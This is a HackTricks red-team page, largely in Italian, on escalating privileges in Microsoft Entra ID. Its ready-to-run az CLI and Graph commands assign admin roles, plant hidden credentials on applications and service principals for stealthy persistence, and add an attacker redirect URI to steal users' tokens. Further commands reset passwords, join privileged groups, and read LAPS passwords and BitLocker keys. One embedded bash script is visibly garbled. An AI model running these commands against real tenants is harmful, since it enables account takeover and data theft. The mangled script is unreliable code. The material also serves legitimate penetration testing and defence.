Az - EntraID Privesc

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

Note

Nota che non tutte le autorizzazioni granulari che i ruoli integrati hanno in Entra ID sono eleggibili per essere utilizzate nei ruoli personalizzati.

Ruoli

Ruolo: Privileged Role Administrator

Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai principals e per concedere ulteriori permessi ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi.

  • Assegnare un ruolo a un utente:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Aggiungere piĂš permessi a un ruolo:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Applicazioni

microsoft.directory/applications/credentials/update

Questo consente a un attaccante di aggiungere credenziali (password o certificati) ad applicazioni esistenti. Se l’applicazione dispone di permessi privilegiati, l’attaccante può autenticarsi come tale applicazione e ottenere tali privilegi.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Ciò consente le stesse azioni di applications/credentials/update, ma limitate alle applicazioni di una singola directory.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Aggiungendosi come owner, un attacker può manipolare l’applicazione, incluse le credenziali e le autorizzazioni.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Un attaccante può aggiungere un URI di reindirizzamento alle applicazioni utilizzate dagli utenti del tenant e poi condividere con loro URL di accesso che usano il nuovo URI di reindirizzamento per rubare i loro token. Nota che se l’utente era già autenticato nell’applicazione, l’autenticazione sarà automatica senza che l’utente debba accettare nulla.

Nota che è anche possibile modificare le autorizzazioni richieste dall’applicazione per ottenere più privilegi; in questo caso l’utente dovrà accettare nuovamente il prompt che richiede tutte le autorizzazioni.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Applications Privilege Escalation

As explained in this post era molto comune trovare applicazioni predefinite che hanno API permissions di tipo Application assegnate a loro. Un API Permission (come chiamato nella Entra ID console) di tipo Application significa che l’applicazione può accedere all’API ed eseguire azioni senza un contesto utente (senza un utente che effettua il login nell’app), e senza bisogno dei ruoli Entra ID per permetterlo. Di conseguenza, è molto comune trovare applicazioni con privilegi elevati in ogni Entra ID tenant.

Quindi, se un attaccante ha qualsiasi permesso/ruolo che gli permette di aggiornare le credenziali (segreto o certificato) dell’applicazione, l’attaccante può generare una nuova credenziale e poi usarla per autenticarsi come l’applicazione, ottenendo tutti i permessi che l’applicazione possiede.

Nota che il blog menzionato condivide alcune API permissions di comuni applicazioni Microsoft predefinite; tuttavia, qualche tempo dopo questo report Microsoft ha risolto il problema e ora non è piÚ possibile effettuare il login come applicazioni Microsoft. Rimane comunque possibile trovare applicazioni personalizzate con privilegi elevati che potrebbero essere abusate.

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Trova tutte le autorizzazioni API delle applicazioni e contrassegna le API di proprietĂ  Microsoft ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Questo permette a un attaccante di aggiungere credenziali a service principals esistenti. Se il service principal ha privilegi elevati, l'attaccante può assumere tali privilegi.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

La nuova password generata non apparirĂ  nella web console, quindi questo potrebbe essere un modo furtivo per mantenere persistenza su un service principal.
Dall’API possono essere trovate con: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Se ottieni l’errore "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." è perché non è possibile modificare la proprietà passwordCredentials dello SP e prima devi sbloccarlo. Per farlo è necessaria un’autorizzazione (microsoft.directory/applications/allProperties/update) che consente di eseguire:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Questo permette a un attaccante di aggiungere credenziali ai service principals esistenti. Se il service principal ha privilegi elevati, l’attaccante può assumere tali privilegi.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Analogamente alle applications, questo permesso consente di aggiungere altri owners a un service principal. Possedere un service principal permette il controllo sulle sue credentials e permissions.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Dopo aver aggiunto un nuovo owner, ho provato a rimuoverlo ma l’API ha risposto che il metodo DELETE non era supportato, anche se è il metodo che devi usare per rimuovere l’owner. Quindi non puoi rimuovere gli owner al momento.

microsoft.directory/servicePrincipals/disable e enable

Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad ottenere l’accesso in qualche modo, per escalate privileges.

Nota che per questa tecnica l’attacker avrà bisogno di permessi aggiuntivi per poter take over il service principal abilitato.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Queste autorizzazioni permettono di creare e ottenere credenziali per single sign-on, il che potrebbe consentire l’accesso ad applicazioni di terze parti.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Gruppi

microsoft.directory/groups/allProperties/update

Questa autorizzazione consente di aggiungere utenti a gruppi privilegiati, portando a privilege escalation.

az ad group member add --group <GroupName> --member-id <UserId>

Nota: Questa autorizzazione esclude Entra ID role-assignable groups.

microsoft.directory/groups/owners/update

Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare l’appartenenza e le impostazioni del gruppo, potenzialmente permettendo l’elevazione dei privilegi tramite il gruppo.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Nota: Questa autorizzazione esclude i role-assignable groups di Entra ID.

microsoft.directory/groups/members/update

Questa autorizzazione consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o malicious accounts a privileged groups per ottenere accesso elevato.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Questa autorizzazione consente di aggiornare la membership rule di un gruppo dinamico. Un attacker potrebbe modificare le regole dinamiche per includere se stesso in gruppi privilegiati senza un’aggiunta esplicita.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Nota: Questa autorizzazione esclude Entra ID role-assignable groups.

Dynamic Groups Privesc

Potrebbe essere possibile per gli utenti aumentare i propri privilegi modificando le proprie proprietĂ  per essere aggiunti come membri dei dynamic groups. Per maggiori informazioni consulta:

Az - Dynamic Groups Privesc

Utenti

microsoft.directory/users/password/update

Questa autorizzazione consente di reimpostare la password degli utenti non amministratori, permettendo a un potenziale attaccante di aumentare i privilegi sugli altri utenti. Questa autorizzazione non può essere assegnata a ruoli personalizzati.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Questo privilegio permette di modificare le proprietà dell’utente. È comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietà; di conseguenza, questo permesso potrebbe consentire a un utente di impostare il valore di proprietà necessario per diventare membro di un gruppo dinamico specifico e elevare i privilegi.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Criteri di accesso condizionale & MFA bypass

Criteri di accesso condizionale mal configurati che richiedono MFA potrebbero essere bypassati, controlla:

Az - Conditional Access Policies & MFA Bypass

Dispositivi

microsoft.directory/devices/registeredOwners/update

Questa autorizzazione permette agli attaccanti di assegnarsi come proprietari dei dispositivi per ottenere il controllo o l’accesso alle impostazioni e ai dati specifici del dispositivo.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Questa autorizzazione consente agli attaccanti di associare il proprio account a dispositivi per ottenere accesso o eludere le politiche di sicurezza.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Questa autorizzazione consente agli attackers di leggere le proprietà delle credenziali dell’account amministratore locale salvate per i dispositivi uniti a Microsoft Entra, inclusa la password

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Questa autorizzazione consente l’accesso alle chiavi di BitLocker, il che potrebbe permettere a un attaccante di decrittare i dischi, compromettendo la riservatezza dei dati.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Altre permissions interessanti (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks